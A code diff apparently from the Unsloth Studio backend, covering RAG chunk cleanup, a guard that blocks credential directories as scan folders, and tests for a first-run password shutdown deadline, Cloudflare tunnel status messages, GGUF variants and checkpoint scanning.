def ensure_vec(conn: sqlite3.Connection, dim: int) -> None:
"""Create the dense ``chunks_vec`` table once the embedding dim is known
(vec0 bakes it into the column type). Idempotent; dim fixed per db."""
(vec0 bakes it into the column type). A width change (embedding model
switched in Settings) drops the table: the old vectors live in a foreign
space and would only block inserts, while lexical search keeps serving old
chunks until they are re-uploaded."""
existing = vec_table_dim(conn)
if existing is not None and existing != int(dim):
logger.warning(
"chunks_vec dim changed %d -> %d (embedding model switched); dropping "
"stale dense index. Re-upload documents to restore dense search.",
existing,
int(dim),
)
conn.execute("DROP TABLE chunks_vec")
conn.execute(
f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0("
f"scope TEXT partition key, "
@ -156,3 +189,71 @@ def vec_table_exists(conn: sqlite3.Connection) -> bool:
"SELECT 1 FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
).fetchone()
return row is not None
def _delete_document_chunks(conn, document_id: str) -> None:
"""Delete a document's chunk rows (chunks/chunks_fts/chunks_vec), keeping the
documents row. Used when reconciling a half-ingested doc to failed: retrieval
filters by scope not status, so leftover chunks would stay citable."""
chunk_ids = [
r["id"]
for r in conn.execute(
"SELECT id FROM chunks WHERE document_id=?", (document_id,)
).fetchall()
]
if not chunk_ids:
return
has_vec = vec_table_exists(conn)
for chunk_id in chunk_ids:
conn.execute("DELETE FROM chunks_fts WHERE chunk_id=?", (chunk_id,))
if has_vec:
conn.execute("DELETE FROM chunks_vec WHERE chunk_id=?", (chunk_id,))
conn.execute("DELETE FROM chunks WHERE document_id=?", (document_id,))
def reconcile_orphaned_ingestion_jobs() -> int:
"""Fail ingestion jobs/documents left mid-flight by a crash so they stop
showing as stuck "processing" and become re-ingestible. Run at startup.
No-op without RAG. Returns the number of jobs reset.
"""
if not RAG_AVAILABLE:
return 0
conn = get_connection()
try:
rows = conn.execute(
"SELECT id, document_id FROM ingestion_jobs "
"WHERE status NOT IN ('completed', 'failed')"
).fetchall()
for row in rows:
doc = conn.execute(
"SELECT status FROM documents WHERE id=?", (row["document_id"],)
).fetchone()
if doc is not None and doc["status"] == "completed":
# Worker finished indexing before the crash but didn't retire the
# job row. Mark the job completed (not failed) and keep its chunks,
# so the UI's getJob fallback after restart doesn't flag a
# searchable document as a failed ingestion.
conn.execute(
"UPDATE ingestion_jobs SET status='completed', stage='done', "
"progress=1.0, error=NULL WHERE id=?",
(row["id"],),
)
continue
conn.execute(
"UPDATE ingestion_jobs SET status='failed', stage='error', "
"error='Server restarted during ingestion' WHERE id=?",
(row["id"],),
)
conn.execute(
"UPDATE documents SET status='failed' "
"WHERE id=? AND status NOT IN ('completed', 'failed')",
(row["document_id"],),
)
# A failed or still-in-flight doc must not leave citable chunks
# (retrieval filters by scope, not status); also drops any chunks of a
# doc already 'failed' before the crash.
_delete_document_chunks(conn, row["document_id"])
conn.commit()
return len(rows)
finally:
conn.close()

71
studio/backend/storage/studio_db.py
View file

@ -22,7 +22,25 @@ logger = logging.getLogger(__name__)
from typing import Any, Iterable, Optional
from utils.paths import project_workspaces_root, studio_db_path, ensure_dir
from utils.paths import (
ensure_dir,
project_workspaces_root,
studio_db_path,
)
from utils.paths.external_media import is_linux_run_media_path
from utils.paths.sensitive import (
contains_sensitive_path_component as _shared_contains_sensitive_path_component,
)
from utils.training_runs import extract_project_name
def _extract_project_name_from_config_json(config_json: Optional[str]) -> Optional[str]:
if not config_json:
return None
try:
return extract_project_name(json.loads(config_json))
except (json.JSONDecodeError, TypeError):
return None
def _denied_path_prefixes() -> list[str]:
@ -51,6 +69,14 @@ def _denied_path_prefixes() -> list[str]:
return []
def _contains_sensitive_path_component(path: str) -> bool:
return _shared_contains_sensitive_path_component(path)
def contains_sensitive_path_component(path: str) -> bool:
return _contains_sensitive_path_component(path)
_schema_lock = threading.Lock()
_schema_ready = False
_SQLITE_IN_CHUNK_SIZE = 900
@ -680,6 +706,7 @@ def list_runs(limit: int = 50, offset: int = 0) -> dict:
runs = []
for row in rows:
run = dict(row)
run["project_name"] = _extract_project_name_from_config_json(run.get("config_json"))
sparkline = run.get("loss_sparkline")
if sparkline:
try:
@ -719,6 +746,7 @@ def get_run(id: str) -> Optional[dict]:
if row is None:
return None
run = dict(row)
run["project_name"] = _extract_project_name_from_config_json(run.get("config_json"))
sparkline = run.get("loss_sparkline")
if sparkline:
try:
@ -884,6 +912,8 @@ def add_scan_folder(path: str) -> dict:
raise ValueError("Path must be a directory, not a file")
if not os.access(normalized, os.R_OK | os.X_OK):
raise ValueError("Path is not readable")
if _contains_sensitive_path_component(normalized):
raise ValueError("Credential or configuration directories are not allowed")
# Windows: normcase for the denylist check but store original casing
# so consumers see the native drive-letter casing (e.g. C:\Models).
@ -891,6 +921,8 @@ def add_scan_folder(path: str) -> dict:
check = os.path.normcase(normalized) if is_win else normalized
for prefix in _denied_path_prefixes():
if check == prefix or check.startswith(prefix + os.sep):
if prefix == "/run" and is_linux_run_media_path(check):
continue
raise ValueError(f"Path under {prefix} is not allowed")
conn = get_connection()
@ -1677,6 +1709,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]:
conn.close()
def upsert_app_setting_map_entry(
key: str, entry_key: str, entry_value: dict[str, Any] | None
) -> dict[str, Any]:
"""Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued
app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other
sub-entries cannot drop each other's updates."""
conn = get_connection()
try:
conn.execute("BEGIN IMMEDIATE")
row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone()
current = _json_loads(row["value_json"], {}) if row else {}
if not isinstance(current, dict):
current = {}
if entry_value:
current[entry_key] = entry_value
else:
current.pop(entry_key, None)
now = datetime.now(timezone.utc).isoformat()
conn.execute(
"""
INSERT INTO app_settings (key, value_json, updated_at)
VALUES (?, ?, ?)
ON CONFLICT(key) DO UPDATE SET
value_json = excluded.value_json,
updated_at = excluded.updated_at
""",
(key, json.dumps(current), now),
)
conn.commit()
return current
except Exception:
conn.rollback()
raise
finally:
conn.close()
def list_chat_settings() -> dict[str, Any]:
conn = get_connection()
try:

8
studio/backend/tests/test_anthropic_messages.py
View file

@ -128,13 +128,7 @@ class TestToolActionNudge:
assert "call render_html once" in nudge
def test_balanced_nudge_empty_without_known_tool_categories(self):
assert (
_build_tool_action_nudge(
tools = [],
model_name = "Llama-3.1-8B-Instruct",
)
== ""
)
assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == ""
# =====================================================================

9
studio/backend/tests/test_api_perf_serialization.py
View file

@ -57,6 +57,15 @@ def test_media_type_and_status():
assert err.status_code == 503
def test_pooled_client_disables_proxy_env():
async def _scenario():
client = llama_http.nonstreaming_client()
assert client.trust_env is False
await llama_http.aclose()
asyncio.run(_scenario())
def test_pooled_client_reused_within_loop_and_recreated_after_close():
async def _scenario():
a = llama_http.nonstreaming_client()

185
studio/backend/tests/test_bootstrap_timeout.py Normal file
View file

@ -0,0 +1,185 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Coverage for the exposed-first-run auto-shutdown deadline.
Tests the env parsing, the pure arm/no-arm decision matrix, and the deadline
handler (shut down iff the seeded admin password is still unchanged). The
threading.Timer itself is not exercised; the handler is invoked directly.
"""
from types import SimpleNamespace
from auth.bootstrap_timeout import (
DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS,
_format_duration,
bootstrap_timeout_seconds,
enforce_bootstrap_password_deadline,
should_arm_bootstrap_timeout,
)
# ── bootstrap_timeout_seconds ───────────────────────────────────────
def test_default_when_unset():
assert bootstrap_timeout_seconds(env = {}) == DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
def test_default_when_empty():
assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": " "}) == (
DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
)
def test_explicit_value_parsed():
assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "1800"}) == 1800
def test_zero_disables():
assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "0"}) == 0
def test_negative_disables():
assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "-5"}) == 0
def test_invalid_falls_back_to_default():
# A typo must keep the protection, not silently disable it.
assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "abc"}) == (
DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
)
# ── should_arm_bootstrap_timeout matrix ─────────────────────────────
def _arm_kwargs(**overrides):
kwargs = dict(
host = "0.0.0.0",
secure = False,
api_only = False,
frontend_served = True,
is_colab = False,
requires_change = True,
timeout_seconds = 3600,
)
kwargs.update(overrides)
return kwargs
def test_arm_exposed_wildcard_web_ui():
assert should_arm_bootstrap_timeout(**_arm_kwargs()) is True
def test_arm_secure_loopback_bind():
# --secure forces a loopback bind but exposes a public tunnel.
assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = True)) is True
def test_no_arm_loopback_bind():
assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = False)) is False
def test_no_arm_api_only():
assert should_arm_bootstrap_timeout(**_arm_kwargs(api_only = True)) is False
def test_no_arm_no_frontend():
assert should_arm_bootstrap_timeout(**_arm_kwargs(frontend_served = False)) is False
def test_no_arm_colab():
assert should_arm_bootstrap_timeout(**_arm_kwargs(is_colab = True)) is False
def test_no_arm_password_already_changed():
assert should_arm_bootstrap_timeout(**_arm_kwargs(requires_change = False)) is False
def test_no_arm_timeout_disabled():
assert should_arm_bootstrap_timeout(**_arm_kwargs(timeout_seconds = 0)) is False
# ── enforce_bootstrap_password_deadline ─────────────────────────────
def _fake_storage(requires_change: bool):
return SimpleNamespace(
DEFAULT_ADMIN_USERNAME = "unsloth",
requires_password_change = lambda _username: requires_change,
)
def test_deadline_shuts_down_when_password_unchanged():
calls = []
result = enforce_bootstrap_password_deadline(
_fake_storage(requires_change = True),
lambda: calls.append("shutdown"),
timeout_seconds = 3600,
)
assert result is True
assert calls == ["shutdown"]
def test_deadline_keeps_running_when_password_changed():
calls = []
result = enforce_bootstrap_password_deadline(
_fake_storage(requires_change = False),
lambda: calls.append("shutdown"),
timeout_seconds = 3600,
)
assert result is False
assert calls == []
def test_deadline_swallows_shutdown_errors():
def _boom():
raise RuntimeError("shutdown failed")
# A failing shutdown must not propagate out of the timer thread.
result = enforce_bootstrap_password_deadline(
_fake_storage(requires_change = True),
_boom,
timeout_seconds = 3600,
)
assert result is True
# ── _format_duration ────────────────────────────────────────────────
def test_format_duration_sub_minute_uses_seconds():
assert _format_duration(30) == "30 seconds"
def test_format_duration_singular_second():
assert _format_duration(1) == "1 second"
def test_format_duration_exact_minutes():
assert _format_duration(60) == "1 minute"
assert _format_duration(3600) == "60 minutes"
def test_format_duration_minutes_and_seconds():
assert _format_duration(90) == "1 minute 30 seconds"
def test_shutdown_message_uses_formatted_duration():
# The deadline message must reflect the real timeout, not a rounded
# "minute(s)" placeholder. Capture the warning via a fake logger.
logged = []
class _Logger:
def warning(self, msg, *args):
logged.append(msg)
enforce_bootstrap_password_deadline(
_fake_storage(requires_change = True),
lambda: None,
timeout_seconds = 3600,
logger = _Logger(),
)
assert any("60 minutes" in m for m in logged)
assert not any("minute(s)" in m for m in logged)

61
studio/backend/tests/test_cached_gguf_routes.py
View file

@ -20,6 +20,7 @@ if "structlog" not in sys.modules:
)
import routes.models as models_route
from hub.services.models import gguf_variants as GV
def _repo(
@ -527,21 +528,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
"""The per-quant 'downloaded' flag is driven by the real weight file in a
single snapshot; an mmproj vision adapter (matching a quant label) must
not make that quant appear downloaded."""
import huggingface_hub.constants as hf_constants
variants = [
SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10_000),
SimpleNamespace(filename = "model-F16.gguf", quant = "F16", size_bytes = 20_000),
SimpleNamespace(
filename = "model-Q4_K_M.gguf",
quant = "Q4_K_M",
display_label = None,
size_bytes = 10_000,
),
SimpleNamespace(
filename = "model-F16.gguf",
quant = "F16",
display_label = None,
size_bytes = 20_000,
),
]
monkeypatch.setattr(
models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, True)
GV,
"list_gguf_variants",
lambda repo_id, hf_token = None: (variants, True, []),
)
monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
snap.mkdir(parents = True)
(snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10_000) # real weight, fully present
(snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000) # mmproj adapter, label "F16"
monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
result = asyncio.run(
models_route.get_gguf_variants(
@ -555,21 +567,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
import huggingface_hub.constants as hf_constants
siblings = [
SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100),
SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10),
]
monkeypatch.setattr(
"huggingface_hub.model_info",
lambda *_args, **_kwargs: SimpleNamespace(siblings = siblings),
GV,
"list_gguf_variants",
lambda repo_id, hf_token = None: (
[
SimpleNamespace(
filename = "model-Q4_K_M.gguf",
quant = "Q4_K_M",
display_label = None,
size_bytes = 10,
)
],
False,
siblings,
),
)
monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
snap.mkdir(parents = True)
(snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10)
monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
result = asyncio.run(
models_route.get_gguf_variants(
@ -583,19 +606,25 @@ def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, tmp_path):
import huggingface_hub.constants as hf_constants
variants = [
SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10),
SimpleNamespace(
filename = "model-Q4_K_M.gguf",
quant = "Q4_K_M",
display_label = None,
size_bytes = 10,
),
]
monkeypatch.setattr(
models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, False)
GV,
"list_gguf_variants",
lambda repo_id, hf_token = None: (variants, False, []),
)
monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
snap.mkdir(parents = True)
(snap / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 10)
monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
result = asyncio.run(
models_route.get_gguf_variants(

256
studio/backend/tests/test_checkpoints_scan.py Normal file
View file

@ -0,0 +1,256 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import json
import sqlite3
import sys
import types as _types
from pathlib import Path
_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
if _BACKEND_DIR not in sys.path:
sys.path.insert(0, _BACKEND_DIR)
_loggers_stub = _types.ModuleType("loggers")
_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
sys.modules.setdefault("loggers", _loggers_stub)
sys.modules.setdefault("structlog", _types.ModuleType("structlog"))
from utils.models import checkpoints as checkpoints_module
from utils.training_runs import build_default_output_dir_name
def _make_history_connection(db_path: Path) -> sqlite3.Connection:
conn = sqlite3.connect(str(db_path))
conn.row_factory = sqlite3.Row
return conn
def _setup_training_runs_table(db_path: Path) -> None:
conn = _make_history_connection(db_path)
try:
conn.execute(
"""
CREATE TABLE training_runs (
id TEXT PRIMARY KEY,
model_name TEXT NOT NULL,
config_json TEXT NOT NULL,
output_dir TEXT,
started_at TEXT NOT NULL
)
"""
)
conn.commit()
finally:
conn.close()
def _make_outputs_dir(tmp_path, monkeypatch) -> Path:
studio_home = tmp_path / "studio-home"
outputs_dir = studio_home / "outputs"
outputs_dir.mkdir(parents = True)
monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(studio_home))
return outputs_dir
def test_scan_checkpoints_uses_output_dir_history_for_base_model(tmp_path, monkeypatch):
outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
run_dir = outputs_dir / "custom-run"
run_dir.mkdir()
(run_dir / "config.json").write_text("{}")
db_path = tmp_path / "studio.db"
_setup_training_runs_table(db_path)
conn = _make_history_connection(db_path)
try:
conn.execute(
"""
INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
VALUES (?, ?, ?, ?, ?)
""",
(
"run-1",
"unsloth/Llama-3.2-3B-Instruct",
"{}",
str(run_dir.resolve()),
"2026-04-09T00:00:00Z",
),
)
conn.commit()
finally:
conn.close()
monkeypatch.setattr(
checkpoints_module,
"get_connection",
lambda: _make_history_connection(db_path),
)
models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
def test_scan_checkpoints_matches_project_suffixed_default_dir_against_history(
tmp_path, monkeypatch
):
outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
run_name = build_default_output_dir_name(
"unsloth/Llama-3.2-3B-Instruct",
"Customer Support",
timestamp = 1771227800,
)
run_dir = outputs_dir / run_name
run_dir.mkdir()
(run_dir / "config.json").write_text("{}")
db_path = tmp_path / "studio.db"
_setup_training_runs_table(db_path)
conn = _make_history_connection(db_path)
try:
conn.execute(
"""
INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
VALUES (?, ?, ?, ?, ?)
""",
(
"run-2",
"unsloth/Llama-3.2-3B-Instruct",
json.dumps({"project_name": "Customer Support"}),
None,
"2026-04-09T00:00:00Z",
),
)
conn.commit()
finally:
conn.close()
monkeypatch.setattr(
checkpoints_module,
"get_connection",
lambda: _make_history_connection(db_path),
)
models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
def test_scan_checkpoints_strips_project_suffix_without_history(tmp_path, monkeypatch):
outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
run_name = build_default_output_dir_name(
"unsloth/Llama-3.2-3B-Instruct",
"Customer Support",
timestamp = 1771227800,
)
run_dir = outputs_dir / run_name
run_dir.mkdir()
(run_dir / "config.json").write_text("{}")
db_path = tmp_path / "studio.db"
_setup_training_runs_table(db_path)
monkeypatch.setattr(
checkpoints_module,
"get_connection",
lambda: _make_history_connection(db_path),
)
models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
def test_scan_checkpoints_preserves_project_marker_in_model_without_history(tmp_path, monkeypatch):
outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
run_name = build_default_output_dir_name(
"org/foo__project-bar",
timestamp = 1771227800,
)
run_dir = outputs_dir / run_name
run_dir.mkdir()
(run_dir / "config.json").write_text("{}")
db_path = tmp_path / "studio.db"
_setup_training_runs_table(db_path)
monkeypatch.setattr(
checkpoints_module,
"get_connection",
lambda: _make_history_connection(db_path),
)
models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
assert models[0][2]["base_model"] == "org/foo__project-bar"
def test_scan_checkpoints_preserves_legacy_folder_name_fallback(tmp_path, monkeypatch):
outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
run_dir = outputs_dir / "unsloth_Llama-3.2-3B-Instruct_1771227800"
run_dir.mkdir()
(run_dir / "config.json").write_text("{}")
db_path = tmp_path / "studio.db"
_setup_training_runs_table(db_path)
monkeypatch.setattr(
checkpoints_module,
"get_connection",
lambda: _make_history_connection(db_path),
)
models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
def test_scan_checkpoints_prefers_exact_history_match_over_newer_suffix(tmp_path, monkeypatch):
outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
run_dir = outputs_dir / "unsloth_Test_1771227800"
run_dir.mkdir()
(run_dir / "config.json").write_text("{}")
copied_dir = tmp_path / "copied" / run_dir.name
copied_dir.mkdir(parents = True)
db_path = tmp_path / "studio.db"
_setup_training_runs_table(db_path)
conn = _make_history_connection(db_path)
try:
conn.execute(
"""
INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
VALUES (?, ?, ?, ?, ?)
""",
(
"run-exact",
"correct/base",
"{}",
str(run_dir.resolve()),
"2026-04-09T00:00:00Z",
),
)
conn.execute(
"""
INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
VALUES (?, ?, ?, ?, ?)
""",
(
"run-suffix",
"wrong/base",
"{}",
str(copied_dir.resolve()),
"2026-04-10T00:00:00Z",
),
)
conn.commit()
finally:
conn.close()
monkeypatch.setattr(
checkpoints_module,
"get_connection",
lambda: _make_history_connection(db_path),
)
models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
assert models[0][2]["base_model"] == "correct/base"

193
studio/backend/tests/test_cloudflare_tunnel.py
View file

@ -11,6 +11,7 @@ checked by AST so we never import its heavy deps (uvicorn/structlog).
import ast
import importlib.util
import io
import os
import sys
import tarfile
import types
@ -136,7 +137,9 @@ def test_ensure_downloads_and_chmods_when_missing(monkeypatch, tmp_path):
path = ct.ensure_cloudflared()
assert path == str(cached)
assert cached.exists()
assert cached.stat().st_mode & 0o111 # executable bit set
# Host OS, not monkeypatched ct.sys.platform.
if os.name != "nt":
assert cached.stat().st_mode & 0o111
def test_ensure_returns_none_on_download_failure(monkeypatch, tmp_path):
@ -238,7 +241,8 @@ def test_ensure_macos_extracts_tgz_and_chmods(monkeypatch, tmp_path):
path = ct.ensure_cloudflared()
assert path == str(cached)
assert cached.read_bytes() == b"mach-o"
assert cached.stat().st_mode & 0o111 # chmod applied on posix
if os.name != "nt":
assert cached.stat().st_mode & 0o111
assert not cached.with_suffix(".tgz").exists() # temp archive cleaned up
@ -696,6 +700,28 @@ def test_argparse_cloudflare_default_true():
assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is True
def test_verify_global_reachability_marks_private_address_unreachable():
src = _RUN_PY.read_text()
tree = ast.parse(src)
func_src = next(
ast.get_source_segment(src, n)
for n in ast.walk(tree)
if isinstance(n, ast.FunctionDef) and n.name == "_verify_global_reachability"
)
captured = []
ns = {
"_public_reachable": None,
"_stdout_color_ok": lambda: False,
"_url_host": lambda host: host,
"print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)),
}
exec(compile(func_src, "<verify_global_reachability>", "exec"), ns)
ns["_verify_global_reachability"]("192.168.1.10", 8888)
assert ns["_public_reachable"] is False
assert "private/LAN address" in "\n".join(captured)
def test_run_server_registers_tunnel_atexit_backstop():
# An abnormal exit (exception after startup -> sys.exit) bypasses
# _graceful_shutdown; an atexit backstop must still stop the tunnel.
@ -703,16 +729,18 @@ def test_run_server_registers_tunnel_atexit_backstop():
assert "atexit.register(stop_studio_tunnel)" in src
def test_run_server_gates_tunnel_on_wildcard():
# Guard against accidentally widening the trigger beyond 0.0.0.0.
source = _RUN_PY.read_text()
assert "_cloudflare_enabled" in source
assert 'host == "0.0.0.0"' in source
def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable):
"""Exec the real _print_cloudflare_line source in isolation (run.py has heavy
deps), with the two module globals injected and startup_banner stubbed."""
def _run_print_cloudflare_line(
monkeypatch,
*,
cloudflare_url,
public_reachable,
cloudflare_requested = False,
cloudflare_flag = True,
secure = False,
loopback_host = "127.0.0.1",
color = False,
):
"""Exec _print_cloudflare_line without importing run.py's heavy deps."""
src = _RUN_PY.read_text()
tree = ast.parse(src)
func_src = next(
@ -721,16 +749,18 @@ def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable)
if isinstance(n, ast.FunctionDef) and n.name == "_print_cloudflare_line"
)
stub = types.ModuleType("startup_banner")
stub.stdout_supports_color = lambda: False
stub.stdout_supports_color = lambda: color
monkeypatch.setitem(sys.modules, "startup_banner", stub)
captured: list[str] = []
ns = {
"_cloudflare_url": cloudflare_url,
"_public_reachable": public_reachable,
"_cloudflare_requested": cloudflare_requested,
"_cloudflare_flag": cloudflare_flag,
"print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)),
}
exec(compile(func_src, "<print_cloudflare_line>", "exec"), ns)
ns["_print_cloudflare_line"]()
ns["_print_cloudflare_line"](secure = secure, loopback_host = loopback_host)
return "\n".join(captured)
@ -750,7 +780,6 @@ def test_cloudflare_line_default_wording_when_reachable(monkeypatch):
def test_cloudflare_line_default_wording_when_unknown(monkeypatch):
# Probe did not run / could not decide -> keep the existing wording.
out = _run_print_cloudflare_line(
monkeypatch, cloudflare_url = "https://x.trycloudflare.com", public_reachable = None
)
@ -758,6 +787,136 @@ def test_cloudflare_line_default_wording_when_unknown(monkeypatch):
assert "Use the secure link" not in out
def test_cloudflare_line_prints_nothing_without_tunnel(monkeypatch):
def test_cloudflare_line_states_inactive_when_enabled_but_not_requested(monkeypatch):
out = _run_print_cloudflare_line(monkeypatch, cloudflare_url = None, public_reachable = False)
assert out == ""
assert "Cloudflare tunnel: OFF for this mode" in out
assert "local network only" in out
def test_cloudflare_line_warns_when_public_url_up(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = "https://x.trycloudflare.com",
public_reachable = True,
cloudflare_requested = True,
)
assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out
assert "Cloudflare tunnel: ON" in out
assert "PUBLIC" in out
assert "--no-cloudflare" in out
assert "raw port is also publicly reachable" in out
assert "local network only" not in out
def test_cloudflare_line_secure_mode_suppresses_public_warning(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = "https://x.trycloudflare.com",
public_reachable = True,
cloudflare_requested = True,
secure = True,
)
assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out
assert "Cloudflare tunnel: ON" not in out
def test_cloudflare_line_states_disabled_when_off(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = False,
cloudflare_requested = False,
cloudflare_flag = False,
)
assert "Cloudflare tunnel: OFF" in out
assert "local network only" in out
def test_cloudflare_line_states_failed_when_requested_but_no_url(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = False,
cloudflare_requested = True,
cloudflare_flag = True,
)
assert "requested but failed to start" in out
assert "local network only" in out
def test_cloudflare_line_off_does_not_claim_local_only_when_unknown(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = None,
cloudflare_requested = False,
cloudflare_flag = False,
)
assert "Cloudflare tunnel: OFF" in out
assert "Raw port reachability was not verified" in out
assert "local network only" not in out
def test_cloudflare_line_failed_does_not_claim_local_only_when_unknown(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = None,
cloudflare_requested = True,
cloudflare_flag = True,
)
assert "requested but failed to start" in out
assert "Raw port reachability was not verified" in out
assert "local network only" not in out
@pytest.mark.parametrize(
"cloudflare_requested,cloudflare_flag,expected",
[
(True, True, "requested but failed to start"),
(False, True, "Cloudflare tunnel: OFF for this mode"),
(False, False, "Cloudflare tunnel: OFF"),
],
)
def test_cloudflare_line_unknown_warns_with_loopback_host(
monkeypatch, cloudflare_requested, cloudflare_flag, expected
):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = None,
cloudflare_requested = cloudflare_requested,
cloudflare_flag = cloudflare_flag,
loopback_host = "::1",
color = True,
)
assert expected in out
assert "bind ::1" in out
assert "bind 127.0.0.1" not in out
assert "\033[38;5;215;1m" in out
def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = True,
cloudflare_requested = False,
cloudflare_flag = False,
)
assert "Cloudflare tunnel: OFF" in out
assert "reachable from the public internet" in out
assert "local network only" not in out
def test_cloudflare_line_failed_does_not_claim_local_only_when_publicly_reachable(monkeypatch):
out = _run_print_cloudflare_line(
monkeypatch,
cloudflare_url = None,
public_reachable = True,
cloudflare_requested = True,
cloudflare_flag = True,
)
assert "requested but failed to start" in out
assert "reachable from the public internet" in out
assert "local network only" not in out

142
studio/backend/tests/test_compute_buffer.py
View file

@ -61,11 +61,16 @@ from core.inference.llama_cpp import LlamaCppBackend
MIB = 1024 * 1024
def _backend(vocab = 248320, embd = 5120):
def _backend(
vocab = 248320,
embd = 5120,
mla = None,
):
"""Backend with just the dims the compute-buffer estimate reads."""
b = LlamaCppBackend.__new__(LlamaCppBackend)
b._vocab_size = vocab
b._embedding_length = embd
b._key_length_mla = mla # non-None -> MLA (compressed attention)
return b
@ -150,3 +155,138 @@ class TestParallel1Default:
def test_default_n_parallel(self):
